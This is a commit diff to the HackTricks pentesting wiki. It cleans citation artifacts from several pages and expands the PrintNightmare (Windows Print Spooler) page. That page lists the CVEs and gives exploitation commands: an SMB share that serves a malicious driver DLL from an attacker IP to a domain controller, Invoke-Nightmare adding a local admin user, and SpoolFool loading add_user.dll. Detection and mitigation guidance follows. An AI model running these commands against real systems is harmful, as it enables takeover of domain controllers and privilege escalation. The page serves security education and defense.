Skip to content

Commit 649f46b

Browse files
author
HackTricks News Bot
committed
Add content from: Research Update: Enhanced src/windows-hardening/active-direc...
1 parent 1403e5b commit 649f46b

File tree

4 files changed

+106
-10
lines changed

4 files changed

+106
-10
lines changed

src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -61,15 +61,15 @@ Java.perform(function () {
6161
});
6262
});
6363
```
64-
Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate padding for inline hooks. citeturn5search2turn5search0
64+
Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate padding for inline hooks.
6565

6666
---
6767

6868
### Recent vulnerabilities worth hunting for in APKs
6969

7070
| Year | CVE | Affected library | Notes |
7171
|------|-----|------------------|-------|
72-
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow reachable from native code that decodes WebP images. Several Android apps bundle vulnerable versions. When you see a `libwebp.so` inside an APK, check its version and attempt exploitation or patching.| citeturn2search0|
72+
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow reachable from native code that decodes WebP images. Several Android apps bundle vulnerable versions. When you see a `libwebp.so` inside an APK, check its version and attempt exploitation or patching.| |
7373
|2024|Multiple|OpenSSL 3.x series|Several memory-safety and padding-oracle issues. Many Flutter & ReactNative bundles ship their own `libcrypto.so`.|
7474

7575
When you spot *third-party* `.so` files inside an APK, always cross-check their hash against upstream advisories. SCA (Software Composition Analysis) is uncommon on mobile, so outdated vulnerable builds are rampant.
@@ -92,7 +92,7 @@ When you spot *third-party* `.so` files inside an APK, always cross-check their
9292

9393
### References
9494

95-
- Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/) citeturn5search0
96-
- NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) citeturn2search0
95+
- Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/)
96+
- NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
9797

9898
{{#include ../../banners/hacktricks-training.md}}

src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -106,7 +106,7 @@ Recent Frida releases (>=16) automatically handle pointer authentication and oth
106106

107107
### Automated dynamic analysis with MobSF (no jailbreak)
108108

109-
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) can instrument a dev-signed IPA on a real device using the same technique (`get_task_allow`) and provides a web UI with filesystem browser, traffic capture and Frida console【turn6view0†L2-L3】. The quickest way is to run MobSF in Docker and then plug your iPhone via USB:
109+
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) can instrument a dev-signed IPA on a real device using the same technique (`get_task_allow`) and provides a web UI with filesystem browser, traffic capture and Frida console【†L2-L3】. The quickest way is to run MobSF in Docker and then plug your iPhone via USB:
110110

111111
```bash
112112
docker pull opensecurity/mobile-security-framework-mobsf:latest

src/pentesting-web/sql-injection/ms-access-sql-injection.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -141,7 +141,7 @@ Point the UNC path to:
141141
* a host that drops the TCP handshake after `SYN-ACK`
142142
* a firewall sinkhole
143143

144-
The extra seconds introduced by the remote lookup can be used as an **out-of-band timing oracle** for boolean conditions (e.g. pick a slow path only when the injected predicate is true). Microsoft documents the remote database behaviour and the associated registry kill-switch in KB5002984. citeturn1search0
144+
The extra seconds introduced by the remote lookup can be used as an **out-of-band timing oracle** for boolean conditions (e.g. pick a slow path only when the injected predicate is true). Microsoft documents the remote database behaviour and the associated registry kill-switch in KB5002984.
145145

146146
### Other Interesting functions
147147

@@ -229,7 +229,7 @@ Mitigations (recommended even for legacy Classic ASP apps):
229229
* Block outbound SMB/WebDAV at the network boundary.
230230
* Sanitize / parameterise any part of a query that may end up inside an `IN` clause.
231231
232-
The forced-authentication vector was revisited by Check Point Research in 2023, proving it is still exploitable on fully patched Windows Server when the registry key is absent. citeturn0search0
232+
The forced-authentication vector was revisited by Check Point Research in 2023, proving it is still exploitable on fully patched Windows Server when the registry key is absent.
233233
234234
### .mdb Password Cracker
235235
Lines changed: 99 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,106 @@
1-
# PrintNightmare
1+
# PrintNightmare (Windows Print Spooler RCE/LPE)
22

33
{{#include ../../banners/hacktricks-training.md}}
44

5-
**Check this awesome blog post about PrintNightmare in 2024: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
5+
> PrintNightmare is the collective name given to a family of vulnerabilities in the Windows **Print Spooler** service that allow **arbitrary code execution as SYSTEM** and, when the spooler is reachable over RPC, **remote code execution (RCE) on ___domain controllers and file servers**. The most-widely exploited CVEs are **CVE-2021-1675** (initially classed as LPE) and **CVE-2021-34527** (full RCE). Subsequent issues such as **CVE-2021-34481 (“Point & Print”)** and **CVE-2022-21999 (“SpoolFool”)** prove that the attack surface is still far from closed.
66
7-
{{#include ../../banners/hacktricks-training.md}}
7+
---
8+
9+
## 1. Vulnerable components & CVEs
10+
11+
| Year | CVE | Short name | Primitive | Notes |
12+
|------|-----|------------|-----------|-------|
13+
|2021|CVE-2021-1675|“PrintNightmare #1|LPE|Patched in June 2021 CU but bypassed by CVE-2021-34527|
14+
|2021|CVE-2021-34527|“PrintNightmare”|RCE/LPE|AddPrinterDriverEx allows authenticated users to load a driver DLL from a remote share|
15+
|2021|CVE-2021-34481|“Point & Print”|LPE|Unsigned driver installation by non-admin users|
16+
|2022|CVE-2022-21999|“SpoolFool”|LPE|Arbitrary directory creation → DLL planting – works after 2021 patches|
17+
18+
All of them abuse one of the **MS-RPRN / MS-PAR RPC methods** (`RpcAddPrinterDriver`, `RpcAddPrinterDriverEx`, `RpcAsyncAddPrinterDriver`) or trust relationships inside **Point & Print**.
19+
20+
## 2. Exploitation techniques
21+
22+
### 2.1 Remote Domain Controller compromise (CVE-2021-34527)
23+
24+
An authenticated but **non-privileged** ___domain user can run arbitrary DLLs as **NT AUTHORITY\SYSTEM** on a remote spooler (often the DC) by:
25+
26+
```powershell
27+
# 1. Host malicious driver DLL on a share the victim can reach
28+
impacket-smbserver share ./evil_driver/ -smb2support
29+
30+
# 2. Use a PoC to call RpcAddPrinterDriverEx
31+
python3 CVE-2021-1675.py victim_DC.___domain.local 'DOMAIN/user:Password!' \
32+
-f \
33+
'\\attacker_IP\share\evil.dll'
34+
```
35+
36+
Popular PoCs include **CVE-2021-1675.py** (Python/Impacket), **SharpPrintNightmare.exe** (C#) and Benjamin Delpy’s `misc::printnightmare / lsa::addsid` modules in **mimikatz**.
37+
38+
### 2.2 Local privilege escalation (any supported Windows, 2021-2024)
39+
40+
The same API can be called **locally** to load a driver from `C:\Windows\System32\spool\drivers\x64\3\` and achieve SYSTEM privileges:
41+
42+
```powershell
43+
Import-Module .\Invoke-Nightmare.ps1
44+
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!
45+
```
46+
47+
### 2.3 SpoolFool (CVE-2022-21999) – bypassing 2021 fixes
48+
49+
Microsoft’s 2021 patches blocked remote driver loading but **did not harden directory permissions**. SpoolFool abuses the `SpoolDirectory` parameter to create an arbitrary directory under `C:\Windows\System32\spool\drivers\`, drops a payload DLL, and forces the spooler to load it:
850

51+
```powershell
52+
# Binary version (local exploit)
53+
SpoolFool.exe -dll add_user.dll
54+
55+
# PowerShell wrapper
56+
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll
57+
```
58+
59+
> The exploit works on fully-patched Windows 7 → Windows 11 and Server 2012R2 → 2022 before February 2022 updates
60+
61+
---
62+
63+
## 3. Detection & hunting
64+
65+
* **Event Logs** – enable the *Microsoft-Windows-PrintService/Operational* and *Admin* channels and watch for **Event ID 808** “The print spooler failed to load a plug-in module” or for **RpcAddPrinterDriverEx** messages.
66+
* **Sysmon**`Event ID 7` (Image loaded) or `11/23` (File write/delete) inside `C:\Windows\System32\spool\drivers\*` when the parent process is **spoolsv.exe**.
67+
* **Process lineage** – alerts whenever **spoolsv.exe** spawns `cmd.exe`, `rundll32.exe`, PowerShell or any unsigned binary .
68+
69+
## 4. Mitigation & hardening
70+
71+
1. **Patch!** – Apply the latest cumulative update on every Windows host that has the Print Spooler service installed.
72+
2. **Disable the spooler where it is not required**, especially on Domain Controllers:
73+
```powershell
74+
Stop-Service Spooler -Force
75+
Set-Service Spooler -StartupType Disabled
76+
```
77+
3. **Block remote connections** while still allowing local printing – Group Policy: `Computer Configuration → Administrative Templates → Printers → Allow Print Spooler to accept client connections = Disabled`.
78+
4. **Restrict Point & Print** so only administrators can add drivers by setting the registry value:
79+
```cmd
80+
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
81+
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f
82+
```
83+
Detailed guidance in Microsoft KB5005652
84+
85+
---
86+
87+
## 5. Related research / tools
88+
89+
* [mimikatz `printnightmare`](https://github.com/gentilkiwi/mimikatz/tree/master/modules) modules
90+
* SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
91+
* SpoolFool exploit & write-up
92+
* 0patch micropatches for SpoolFool and other spooler bugs
93+
94+
---
95+
96+
**More reading (external):** Check the 2024 walk-through blog post – [Understanding PrintNightmare Vulnerability](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)
97+
98+
{{#include ../../banners/hacktricks-training.md}}
999

100+
## References
10101

102+
* Microsoft – *KB5005652: Manage new Point & Print default driver installation behavior*
103+
<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>
104+
* Oliver Lyak – *SpoolFool: CVE-2022-21999*
105+
<https://github.com/ly4k/SpoolFool>
106+
{{#include /banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)